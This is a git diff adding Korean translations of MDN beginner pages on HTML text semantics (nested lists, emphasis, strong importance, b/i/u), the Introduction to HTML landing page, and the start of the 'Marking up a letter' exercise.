+<h6 id="Playable_code_4">Playable code</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Input&lt;/h2&gt;
+&lt;textarea id="code" class="input"&gt;Quick hummus recipe
+
+    This recipe makes quick, tasty hummus, with no messing. It has been adapted from a number of different recipes that I have read over the years.
+
+    Hummus is a delicious thick paste used heavily in Greek and Middle Eastern dishes. It is very tasty with salad, grilled meats and pitta breads.
+
+    Ingredients
+
+    1 can (400g) of chick peas (garbanzo beans)
+    175g of tahini
+    6 sundried tomatoes
+    Half a red pepper
+    A pinch of cayenne pepper
+    1 clove of garlic
+    A dash of olive oil
+
+    Instructions
+
+    Remove the skin from the garlic, and chop coarsely
+    Remove all the seeds and stalk from the pepper, and chop coarsely
+    Add all the ingredients into a food processor
+    Process all the ingredients into a paste.
+    If you want a coarse "chunky" hummus, process it for a short time
+    If you want a smooth hummus, process it for a longer time
+
+    For a different flavour, you could try blending in a small measure of lemon and coriander, chili pepper, lime and chipotle, harissa and mint, or spinach and feta cheese. Experiment and see what works for you.
+
+    Storage
+
+    Refrigerate the finished hummus in a sealed container. You should be able to use it for about a week after you've made it. If it starts to become fizzy, you should definitely discard it.
+
+    Hummus is suitable for freezing; you should thaw it and use it within a couple of months.&lt;/textarea&gt;
+&lt;h2&gt;Output&lt;/h2&gt;
+&lt;div class="output"&gt;&lt;/div&gt;
+&lt;div class="controls"&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+  &lt;input id="solution" type="button" value="Show solution" /&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">body {
+  font-family: 'Open Sans Light', Helvetica, Arial, sans-serif;
+}
+
+.input, .output {
+  width: 90%;
+  height: 8em;
+  padding: 10px;
+  border: 1px solid #0095dd;
+  overflow: auto;
+}
+
+button {
+  padding: 10px 10px 10px 0;
+}
+</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var code = textarea.value;
+var output = document.querySelector(".output");
+var solution = document.getElementById("solution");
+
+function drawOutput() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawOutput();
+});
+
+solution.addEventListener("click", function() {
+  textarea.value = '&lt;h1&gt;Quick hummous recipe&lt;/h1&gt;\n\n&lt;p&gt;This recipe makes quick, tasty hummus, with no messing. It has been adapted from a number of different recipes that I have read over the years.&lt;/p&gt;\n\n&lt;p&gt;Hummus is a delicious thick paste used heavily in Greek and Middle Eastern dishes. It is very tasty with salad, grilled meats and pitta breads.&lt;/p&gt;\n\n&lt;h2&gt;Ingredients&lt;/h2&gt;\n\n&lt;ul&gt;\n&lt;li&gt;1 can (400g) of chick peas (garbanzo beans)&lt;/li&gt;\n&lt;li&gt;175g of tahini&lt;/li&gt;\n&lt;li&gt;6 sundried tomatoes&lt;/li&gt;\n&lt;li&gt;Half a red pepper&lt;/li&gt;\n&lt;li&gt;A pinch of cayenne pepper&lt;/li&gt;\n&lt;li&gt;1 clove of garlic&lt;/li&gt;\n&lt;li&gt;A dash of olive oil&lt;/li&gt;\n&lt;/ul&gt;\n\n&lt;h2&gt;Instructions&lt;/h2&gt;\n\n&lt;ol&gt;\n&lt;li&gt;Remove the skin from the garlic, and chop coarsely.&lt;/li&gt;\n&lt;li&gt;Remove all the seeds and stalk from the pepper, and chop coarsely.&lt;/li&gt;\n&lt;li&gt;Add all the ingredients into a food processor.&lt;/li&gt;\n&lt;li&gt;Process all the ingredients into a paste.&lt;/li&gt;\n&lt;li&gt;If you want a coarse "chunky" hummus, process it for a short time.&lt;/li&gt;\n&lt;li&gt;If you want a smooth hummus, process it for a longer time.&lt;/li&gt;\n&lt;/ol&gt;\n\n&lt;p&gt;For a different flavour, you could try blending in a small measure of lemon and coriander, chili pepper, lime and chipotle, harissa and mint, or spinach and feta cheese. Experiment and see what works for you.&lt;/p&gt;\n\n&lt;h2&gt;Storage&lt;/h2&gt;\n\n&lt;p&gt;Refrigerate the finished hummus in a sealed container. You should be able to use it for about a week after you\'ve made it. If it starts to become fizzy, you should definitely discard it.&lt;/p&gt;\n\n&lt;p&gt;Hummus is suitable for freezing; you should thaw it and use it within a couple of months.&lt;/p&gt;';
+  drawOutput();
+});
+
+textarea.addEventListener("input", drawOutput);
+
+window.addEventListener("load", drawOutput);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code_4', 700, 500) }}</p>
+
+<p>위의 문제를 해결하는데 어려움을 겪고있다면, <em>Show solution</em> 버튼을 클릭하여 해답을 확인하거나, GitHub 레포지토리에 존재하는 <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/html-text-formatting/text-complete.html">text-complete.html</a> 파일을 확인해 주시길 바랍니다.</p>
+
+<h3 id="리스트_내부의_리스트Nesting_lists">리스트 내부의 리스트(Nesting lists)</h3>
+
+<p>하나의 리스트 내부에 다른 리스트를 추가하는 것은 아무런 문제가 없습니다. 당신이 최상위 리스트 아이템의 내부에 다른 리스트를 추가하고 싶다면, 하단의 예제들 중 두번째 예제를 확인해주세요.</p>
+
+<pre class="brush: html notranslate">&lt;ol&gt;
+  &lt;li&gt;Remove the skin from the garlic, and chop coarsely.&lt;/li&gt;
+  &lt;li&gt;Remove all the seeds and stalk from the pepper, and chop coarsely.&lt;/li&gt;
+  &lt;li&gt;Add all the ingredients into a food processor.&lt;/li&gt;
+  &lt;li&gt;Process all the ingredients into a paste.&lt;/li&gt;
+  &lt;li&gt;If you want a coarse "chunky" hummus, process it for a short time.&lt;/li&gt;
+  &lt;li&gt;If you want a smooth hummus, process it for a longer time.&lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<p>마지막 두개의 리스트 아이템은 <code>Process all the ingredients into a paste.</code>와 밀접한 관계가 있는 내용입니다. 그러므로 두개의 리스트 아이템은 <code>Process all the ingredients into a paste.</code>의 내부에 중첩되어 나타나는 것이 더 좋을 것입니다. 하단과 같은 방법을 사용해서 말이죠.</p>
+
+<pre class="brush: html notranslate">&lt;ol&gt;
+  &lt;li&gt;Remove the skin from the garlic, and chop coarsely.&lt;/li&gt;
+  &lt;li&gt;Remove all the seeds and stalk from the pepper, and chop coarsely.&lt;/li&gt;
+  &lt;li&gt;Add all the ingredients into a food processor.&lt;/li&gt;
+  &lt;li&gt;Process all the ingredients into a paste.
+    &lt;ul&gt;
+      &lt;li&gt;If you want a coarse "chunky" hummus, process it for a short time.&lt;/li&gt;
+      &lt;li&gt;If you want a smooth hummus, process it for a longer time.&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<p>첫번째의 예제로 돌아가, 두번째의 예제처럼 변경하는 연습을 해보시길 바랍니다.</p>
+
+<h2 id="중요와_강조">중요와 강조</h2>
+
+<p>우리는 문장의 의미를 바꾸거나 특정한 단어를 강조하기위해 종종 일반적인 방법과 다르게 표현하기도 합니다. HTML은 그런 경우를 표시할 수 있도록 다양한 의미 요소를 제공하며, 이 섹션에서는 가장 일반적인 몇 가지 요소를 살펴보기로 합니다.</p>
+
+<h3 id="중요Emphasis">중요(Emphasis)</h3>
+
+<p>우리는 말을 하면서 특정 단어를 강세를 두고 발음하는 방법으로 의미를 다르게 표현합니다. 마찬가지로, 글에서는 단어에 강세를 두기 위해 이탤릭체로 표현하는 경향이 있습니다. 예를 들어, 다음 두 문장은 다른 의미를 가집니다. </p>
+
+<p>I am glad you weren't late.</p>
+
+<p>I am <em>glad</em> you weren't <em>late</em>.</p>
+
+<p>첫 문장은 상대가 늦지 않은 것에 대해 진심으로 안도하는 것처럼 들립니다. 이와는 대조적으로, 두 번째 문장은 상대가 조금 늦게 도착한 것에대해 비꼬거나 짜증을 표현하는 것처럼 들립니다.</p>
+
+<p>HTML에서는 이러한 경우를 표시하기 위해 {{htmlelement("em")}} (emphasis) 요소를 사용합니다. 문서를 더 흥미롭게 읽게 될 뿐만 아니라, 화면판독기에 인식되면 다른 톤의 목소리로 표현됩니다. 브라우저에서는 기본적으로 이탤릭체로 스타일을 지정하지만, 단지 이탤릭체로 스타일링하기 위해 이 태그를 사용하는 것은 지양합니다. 스타일링을 위해서는{{htmlelement("span")}} 요소에 약간의 CSS를 더하거나 {{htmlelement("i")}}요소를 사용할 수 있습니다.(아래 참조).</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;I am &lt;em&gt;glad&lt;/em&gt; you weren't &lt;em&gt;late&lt;/em&gt;.&lt;/p&gt;</pre>
+
+<h3 id="강조Strong_importance">강조(Strong importance)</h3>
+
+<p>우리는 중요한 단어를 강조하기 위해 강세를 두고 말하거나 글자를 두껍게 표현합니다. 예를들면,</p>
+
+<p>This liquid is <strong>highly toxic</strong>.</p>
+
+<p>I am counting on you. <strong>Do not</strong> be late!</p>
+
+<p>HTML에서는 이러한 경우를 표시하기 위해 {{htmlelement("strong")}} (strong importance)요소를 사용합니다. 문서를 더 유용하게 만드는 것뿐만 아니라, 화면판독기에 인식되면 다른 톤의 목소리로 표현됩니다. 브라우저에서는 기본적으로 굵은 텍스트로 스타일을 지정하지만, 단지 굵게 스타일링하기 위해 이 태그를 사용하는 것은 지양합니다. 스타일링을 위해서는 {{htmlelement("span")}} 요소에 약간의 CSS를 더하거나 {{htmlelement("b")}} 요소를 사용할 수 있습니다.(아래 참조).</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;This liquid is &lt;strong&gt;highly toxic&lt;/strong&gt;.&lt;/p&gt;
+
+&lt;p&gt;I am counting on you. &lt;strong&gt;Do not&lt;/strong&gt; be late!&lt;/p&gt;</pre>
+
+<p>원한다면 각각의 태그가 서로의 안에 위치할 수 있습니다.</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;This liquid is &lt;strong&gt;highly toxic&lt;/strong&gt; —
+if you drink it, &lt;strong&gt;you may &lt;em&gt;die&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;</pre>
+
+<h3 id="Active_learning_Lets_be_important!">Active learning: Let's be important!</h3>
+
+<p>이 Active Learning 섹션에서는 편집 가능한 예시를 제공하였습니다. 이 안에서 여러분이 필요하다고 생각되는 단어에 강조와 중요성을 더해보며 연습할 수 있기를 바랍니다.</p>
+
+<div class="hidden">
+<h6 id="Playable_code_5">Playable code</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Input&lt;/h2&gt;
+&lt;textarea id="code" class="input"&gt;&lt;h1&gt;Important notice&lt;/h1&gt;
+
+&lt;p&gt;On Sunday January 9th 2010, a gang of goths were
+spotted stealing several garden gnomes from a shopping
+center in downtown Milwaukee. They were all wearing green
+jumpsuits and silly hats, and seemed to be having a whale
+of a time. If anyone has any information about this
+incident, please contact the police now.&lt;/p&gt;&lt;/textarea&gt;
+&lt;h2&gt;Output&lt;/h2&gt;
+&lt;div class="output"&gt;&lt;/div&gt;
+&lt;div class="controls"&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+  &lt;input id="solution" type="button" value="Show suggestion" /&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">body {
+  font-family: 'Open Sans Light', Helvetica, Arial, sans-serif;
+}
+
+.input, .output {
+  width: 90%;
+  height: 8em;
+  padding: 10px;
+  border: 1px solid #0095dd;
+  overflow: auto;
+}
+
+button {
+  padding: 10px 10px 10px 0;
+}
+</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var code = textarea.value;
+var output = document.querySelector(".output");
+var solution = document.getElementById("solution");
+
+function drawOutput() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawOutput();
+});
+
+solution.addEventListener("click", function() {
+  textarea.value = '&lt;h1&gt;Important notice&lt;/h1&gt;\n&lt;p&gt;On &lt;strong&gt;Sunday January 9th 2010&lt;/strong&gt;, a gang of &lt;em&gt;goths&lt;/em&gt; were spotted stealing &lt;strong&gt;&lt;em&gt;several&lt;/em&gt; garden gnomes&lt;/strong&gt; from a shopping center in downtown &lt;strong&gt;Milwaukee&lt;/strong&gt;. They were all wearing &lt;em&gt;green jumpsuits&lt;/em&gt; and &lt;em&gt;silly hats&lt;/em&gt;, and seemed to be having a whale of a time. If anyone has &lt;strong&gt;any&lt;/strong&gt; information about this incident, please contact the police &lt;strong&gt;now&lt;/strong&gt;.&lt;/p&gt;';
+  drawOutput();
+});
+
+textarea.addEventListener("input", drawOutput);
+window.addEventListener("load", drawOutput);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code_5', 700, 500) }}</p>
+
+<h3 id="Italic_bold_underline...">Italic, bold, underline...</h3>
+
+<p>우리가 지금까지 얘기했던 요소들은 관련된 의미들을 명확히 구분했습니다. {{htmlelement("b")}}, {{htmlelement("i")}}, {{htmlelement("u")}}의 상황들은 좀 복잡하죠. 이 요소들은 CSS가 형편없이 지원되거나 완전히 지원되지 않는 경우에 이탤릭체 또는 밑줄 등을 표현할 수 있도록 고안되었습니다. 의미론적이 아닌 표현에만 영향을 주는 이와 같은 요소들은 <strong>현재적 요소</strong>로 알려져 있으며, 더 이상 사용되어서는 안됩니다. 앞에서 살펴본 바와 같이 의미론은 접근성, SEO 등에 매우 중요하기 때문이죠.</p>
+
+<p>HTML5 에서는 <code>&lt;b&gt;</code>, <code>&lt;i&gt;,</code> <code>&lt;u&gt;</code> 를 조금 혼란스럽긴 하지만 새로운 의미론적 역할로 재정립하였습니다.</p>
+
+<p>가장 좋은 경험법칙: 적합한 요소가 더 없다면, 과거로부터 줄곧 굵거나 이탤릭체를 쓰거나 밑줄을 치는 방법으로 표현했던 의미를 전달하기 위해 <code>&lt;b&gt;</code>, <code>&lt;i&gt;</code>, <code>&lt;u&gt;</code> 를 사용하는 것이 적절할 것 같다. 그러나 늘 접근성에 관해 염두하는 것은 항상 중요하다. 이탤릭체의 개념은 스크린리더를 사용하는 사람이나 라틴 문자체계 이외의 사용자에게는 별로 도움이 되지 않는다.</p>
+
+<ul>
+ <li>{{HTMLElement('i')}} 요소는 과거로부터 줄곧 기울임꼴로 전달되는 의미를 전달하기 위해 사용된다. 외래어, 분류학 명칭, 전문 용어, 생각...</li>
+ <li>{{HTMLElement('b')}} 요소는 과거로부터 줄곧 굵은 글씨로 전달되는 의미를 전달할 때 사용한다. 주요 단어, 제품 이름, 주요 문장...</li>
+ <li>{{HTMLElement('u')}} 요소는 과거로부터 줄곧 밑줄을 치는 것으로 전달되는 의미를 전달할 떄 사용한다. 적절한 이름, 잘못된 철자...</li>
+</ul>
+
+<div class="note">
+<p>밑줄에 대한 위험성 중 하나: <strong>사람들은 밑줄을 하이퍼링크와 강하게 연관시킨다. </strong>따라서 웹에서는 링크에만 밑줄을 긋는 것이 가장 좋다. 의미론적으로 적합한 경우 <code>&lt;u&gt;</code> 요소를 사용하되, CSS를 사용하여 기본 밑줄을 웹에서 더 적합하게 변경할 수 있는지 고려한다. 그것이 어떻게 이루어질 수 있는지는 아래의 예에서 확인할 수 있다.</p>
+</div>
+
+<pre class="brush: html notranslate">&lt;!-- scientific names --&gt;
+&lt;p&gt;
+  The Ruby-throated Hummingbird (&lt;i&gt;Archilochus colubris&lt;/i&gt;)
+  is the most common hummingbird in Eastern North America.
+&lt;/p&gt;
+
+&lt;!-- foreign words --&gt;
+&lt;p&gt;
+  The menu was a sea of exotic words like &lt;i lang="uk-latn"&gt;vatrushka&lt;/i&gt;,
+  &lt;i lang="id"&gt;nasi goreng&lt;/i&gt; and &lt;i lang="fr"&gt;soupe à l'oignon&lt;/i&gt;.
+&lt;/p&gt;
+
+&lt;!-- a known misspelling --&gt;
+&lt;p&gt;
+  Someday I'll learn how to &lt;u&gt;spel&lt;/u&gt; better.
+&lt;/p&gt;
+
+&lt;!-- Highlight keywords in a set of instructions --&gt;
+&lt;ol&gt;
+  &lt;li&gt;
+    &lt;b&gt;Slice&lt;/b&gt; two pieces of bread off the loaf.
+  &lt;/li&gt;
+  &lt;li&gt;
+    &lt;b&gt;Insert&lt;/b&gt; a tomato slice and a leaf of
+    lettuce between the slices of bread.
+  &lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<h2 id="요약">요약</h2>
+
+<p>일단 이게 다에요! 이 글을 통해 여러분은 HTML에서 텍스트를 표현하기 시작하는 방법에 대해 좋은 아이디어를 얻었고, 이 영역에서 가장 중요한 몇가지 요소들을 알게되었습니다. 이 코스에에서 다룰 의미론적 요소는 훨씬 더 많으며 <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Advanced text formatting</a> 를 통해 더 많이 살펴볼 수 있습니다. 다음 글에서는 웹에서 가장 중요한 요소인 <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">하이퍼링크를 만드는 방법</a>에 대해 자세히 알아보도록 합시다.</p>
+
+<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">What’s in the head? Metadata in HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creating hyperlinks</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Advanced text formatting</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Document and website structure</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugging HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Marking up a letter</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Structuring a page of content</a></li>
+</ul>
diff --git a/files/ko/learn/html/introduction_to_html/index.html b/files/ko/learn/html/introduction_to_html/index.html
new file mode 100644
index 0000000000..7566119e6e
--- /dev/null
+++ b/files/ko/learn/html/introduction_to_html/index.html
@@ -0,0 +1,59 @@
+---
+title: HTML 소개
+slug: Learn/HTML/Introduction_to_HTML
+tags:
+  - CodingScripting
+  - HTML
+  - Landing
+translation_of: Learn/HTML/Introduction_to_HTML
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">{{glossary("HTML")}}은 문서의 특정 텍스트 영역이 문단인지 목록인지 표의 일부인지 구분 할 수 있도록 의미를 부여하고, 헤더인지, 콘텐츠 컬럼인지, 네비게이션 메뉴인지 알수 있도록 논리적인 영역으로 구조화 하고, 이미지와 비디오 같은 콘텐츠를 삽입할 수 있게 해주는 요소들로 구성된 지극히 간단한 언어입니다. 이번 과정은 이 두 가지 주제에 대한 소개와 HTML을 이해하기 위해 알아야 하는 기본 개념과 문법을 설명합니다.</p>
+
+<h2 id="전제_조건">전제 조건</h2>
+
+<p>이번 과정을 시작하기 전에, HTML에 대한 사전 지식은 필요하지 않습니다만, 기본적으로 컴퓨터 사용에 친숙해야 하고, 웹사이트의 콘텐츠를 탐색하는 정도의 웹을 사용할 줄 알아야 합니다. <a href="https://developer.mozilla.org/ko/docs/Learn/Getting_started_with_the_web/Installing_basic_software">기본 소프트웨어 설치</a>에 있는 기본적인 작업 환경이 구축되어 있어야 하고, <a href="https://developer.mozilla.org/ko/docs/Learn/Getting_started_with_the_web/Dealing_with_files">파일 다루기</a>에 있는 파일을 생성하고 관리하는 방법을 이해하고 있어야 합니다. 이 두가지 내용은 <a href="https://developer.mozilla.org/ko/docs/Learn/Getting_started_with_the_web">웹 시작하기</a>를 위한 초급 과정입니다.</p>
+
+<div class="note">
+<p><span style="font-size: 14px;"><strong>노트</strong></span>: 혹시, 파일을 생성하기 힘든 컴퓨터/테블릿 혹은 다른 기기에서 작업한다면, <a href="http://jsbin.com/">JSBin</a> 이나 <a href="https://thimble.mozilla.org/">Thimble</a> 같은 온라인 코딩 프로그램을 이용하여 대부분의 코드 예제를 작성해 볼 수 있습니다.</p>
+</div>
+
+<h2 id="안내서">안내서</h2>
+
+<p>이 과정은 HTML의 모든 기초 이론을 학습하고, 몇몇 기법을 실습해 볼 수 있는 충분한 기회를 제공합니다. 아래와 같은 내용을 담고 있습니다.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/HTML/Introduction_to_HTML/Getting_started">HTML 시작하기</a></dt>
+ <dd>HTML을 시작하기 위한 초급 내용을 다룹니다. 요소, 속성을 정의하고, 한번쯤은 들어봤을지도 모르는 중요한 용어들을 알아보고 어디에 사용되는지 살펴봅니다. 또, HTML 요소를 구조화 하는 방법, 일반적인 HTML 페이지가 어떻게 구조화되는지를 알아보고, 언어의 중요한 기본 특징에 대해 설명합니다. 그러면서, 여러분들이 흥미를 가질 수 있도록 HTML 코드를 직접 작성해 보도록 하겠습니다.</dd>
+ <dt><a href="/ko/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">head 안에는 무엇이 있나? HTML 메타 데이터</a></dt>
+ <dd>HTML 문서의 헤드는 페이지가 로딩될 때 웹 브라우저에는 보이지 않는 부분입니다. 페이지의 {{htmlelement("title")}}, (HTML 콘텐츠에 스타일을 적용하고 싶다면) {{glossary("CSS")}} 링크, 파비콘 링크, 그리고 메타데이터(문서의 작성자, 문서를 설명하기 위한 중요한 키워드와 같은 HTML에 대한 정보)와 같은 정보를 담고 있습니다.</dd>
+ <dt><a href="/ko/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML 텍스트 기본</a></dt>
+ <dd>HTML을 사용하는 주요 목적 중의 하나는 텍스트에 의미를 부여(<strong>시맨틱</strong>)하는 것인데, 그렇게 하면 브라우저는 화면에 어떻게 노출되어야 하는지 명확하게 알 수 있습니다. 이 글에서는 HTML을 이용하여 글의 제목과 문단의 구조에서 텍스트를 분리해 보고, 단어에 강조/중요도를 부여해보고, 리스트 만드는 법 등을 살펴 보겠습니다.</dd>
+ <dt><a href="/ko/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">하이퍼링크 만들기</a></dt>
+ <dd>하이퍼링크는 웹을 웹(web, 거미줄, 연결을 의미)으로 만들어주는 것이기 때문에 굉장히 중요합니다. 이 글에서는 링크를 만드는데 필요한 문법을 설명하고, 링크의 사례들을 논의해 봅니다.</dd>
+ <dt><a href="/ko/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">텍스트 조작 고급기법</a></dt>
+ <dd>HTML에는 텍스트를 조작하기 위한 많은 요소들이 있습니다. <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">이</a> 글에는 다 담을 수는 없습니다. 이 글에서는 잘 알려지진 않았지만 알아두면 굉장히 유용한 요소들을 살펴보겠습니다. 인용구, 설명 목록, 소스 코드 혹은 관련 텍스트, 위첨자, 아래첨자, 연락 정보 등을 마크업 하는 방법을 알아보겠습니다.</dd>
+ <dt><a href="/ko/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">문서와 웹사이트 구조</a></dt>
+ <dd>‘문단’이나 ‘이미지’와 같은 페이지의 부분을 정의하는 것처럼, HTML은 ‘헤더’, ‘네비게이션 메뉴’, ‘주요 내용 컬럼’과 같은 웹사이트의 영역을 정의하는데도 사용됩니다. 이 글에서는 기본 웹사이트 구조를 설계하는 법을 살펴보고, 이 구조를 표현하기 위해 HTML로 직접 작성해 보겠습니다.</dd>
+ <dt><a href="/ko/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">HTML 디버깅</a></dt>
+ <dd>HTML 작성은 잘 되었는데, 무언가 잘못되었고, 작업을 할 수 없다면 코드에서 에러가 발생하는 부분은 어디일까요? 이 글은 이런 상황에 도움을 줄 수 있는 도구들을 소개합니다.</dd>
+</dl>
+
+<h2 id="평가">평가</h2>
+
+<p>다음의 평가들은 위의 가이드에 있는 HTML 기본을 얼마나 이해하고 있는지 테스트 합니다.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">마크업</a></dt>
+ <dd>우리는 모두 편지 쓰는 법을 금방 배우게 됩니다. 텍스트를 꾸미고 조작하는 것을 테스트 해볼 수 있는 유용한 예제들이 있습니다. 여러분이 마크업 하는 것을 평가합니다.</dd>
+ <dt><a href="/ko/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">페이지 콘텐츠 구조화</a></dt>
+ <dd>이 평가는 헤더, 푸터, 네비게이션 메뉴, 주요 콘텐츠, 사이드바를 담고 있는 간단한 웹 페이지의 구조를 HTML로 작성하는 능력을 테스트합니다.</dd>
+</dl>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<dl>
+ <dt><a href="https://teach.mozilla.org/activities/web-lit-basics/">웹 지식 기본 1</a></dt>
+ <dd>HTML 소개 과정에서 논의된 많은 기법들을 살펴보고 테스트 해볼 수 있는 모질라 재단 과정이 있습니다. 학습자들은 이 여섯 가지의 과정에서 글을 읽고, 글을 작성하고, 참석하는데 친숙해 질 것입니다. 만들어 보고 협업하면서 탄탄한 웹의 토대를 찾아보세요.</dd>
+</dl>
diff --git a/files/ko/learn/html/introduction_to_html/marking_up_a_letter/index.html b/files/ko/learn/html/introduction_to_html/marking_up_a_letter/index.html
new file mode 100644
index 0000000000..5d451b0d4e
--- /dev/null
+++ b/files/ko/learn/html/introduction_to_html/marking_up_a_letter/index.html
@@ -0,0 +1,102 @@
+---
+title: Marking up a letter
+slug: Learn/HTML/Introduction_to_HTML/Marking_up_a_letter
+translation_of: Learn/HTML/Introduction_to_HTML/Marking_up_a_letter
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content", "Learn/HTML/Introduction_to_HTML")}}</div>
+
+<div></div>
+
+<div>우리 모두 글자를 쓸 줄 압니다. 이제 글을 포멧팅하는 방법을 익혀 보도록 합니다. 이 장에서는 주어진 글을 HTML 기본/혹은 고급 텍스트 포멧팅 방식에 맞춰 다듬는 연습을 할 예정입니다. 예를 들어, 하이퍼링크라든지 &lt;head&gt; 컨텐츠 등을 말이지요.</div>
+
+<div></div>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선수 학습:</th>
+   <td>
+    <p>이 장에 들어서기에 앞서 필요한 선수 학습들에는 <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a>, <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">What's in the head? Metadata in HTML</a>, <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a>, <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creating hyperlinks</a>, <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Advanced text formatting</a> 등이 있습니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">이 장에서 배워요:</th>
+   <td>
+    <p>HTML 기본/고급 텍스트 포멧팅 방법, 하이퍼링크, HTML &lt;head&gt; 부분에 무엇이 들어가는지에 대해 알아 보아요.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="시작하기에_앞서">시작하기에 앞서</h2>
+
+<p>프로젝트를 시작하기 위해서는 두 가지가 필요합니다. <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/marking-up-a-letter-start/letter-text.txt">raw text you need to mark up</a>와 <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/marking-up-a-letter-start/css.txt">CSS you need to include</a>입니다. 텍스트 편집기를 이용해 .html 파일을 만들거나 사이트 - <a class="external external-icon" href="http://jsbin.com/">JSBin</a> 이나 <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> 를 이용하여 프로젝트를 할 수도 있습니다.</p>
+
+<h2 id="프로젝트_요약">프로젝트 요약</h2>
+
+<p>이 프로젝트에서 여러분은 대학 인트라넷에 호스팅 될 문서를 마크업 하게 될 겁니다. 이 문서는 미래 해당 대학에서 박사학위를 공부하려는 이들이 보내 온 질문에 대한 연구원들의 답변입니다. </p>
+
+<p><strong>블록/ 구조적인 시맨틱들</strong></p>
+
+<ul>
+ <li>당신은 전체 문서를 doctype을 비롯해 {{htmlelement("html")}}, {{htmlelement("head")}}, {{htmlelement("body")}} elements 를 이용하여 다듬어야 합니다.</li>
+ <li>일반적으로 이 서한은 아래의 점을 제외하고 단락과 표제의 구조로 표시되어야합니다. 가장 높은 단계의 heading(the "Re:" lin) 하나와 두 번째 단계의 heading 세 개를 사용합니다</li>
+ <li>학기 시작 날짜, 스터디 주제들 그리고 이국적인 댄스들은 적절한 리스트 유형을 사용해서 마크 업을 하세요</li>
+ <li>두 개의 주소는 {{htmlelement("address")}} 요소 안에 위치해야 합니다. 주소의 각 줄은 새로운 문단이 아닌 새로운 줄에 위치해야합니다</li>
+</ul>
+
+<p>Inline semantics:</p>
+
+<ul>
+ <li>The names of the sender and receiver (and "Tel" and "Email") should be marked up with strong importance.</li>
+ <li>The four dates in the document should be given appropriate elements containing machine-readable dates.</li>
+ <li>The first address and first date in the letter should be given a class attribute value of "sender-column"; the CSS you'll add later will then cause these to be right aligned, as should be the case in a classic letter layout.</li>
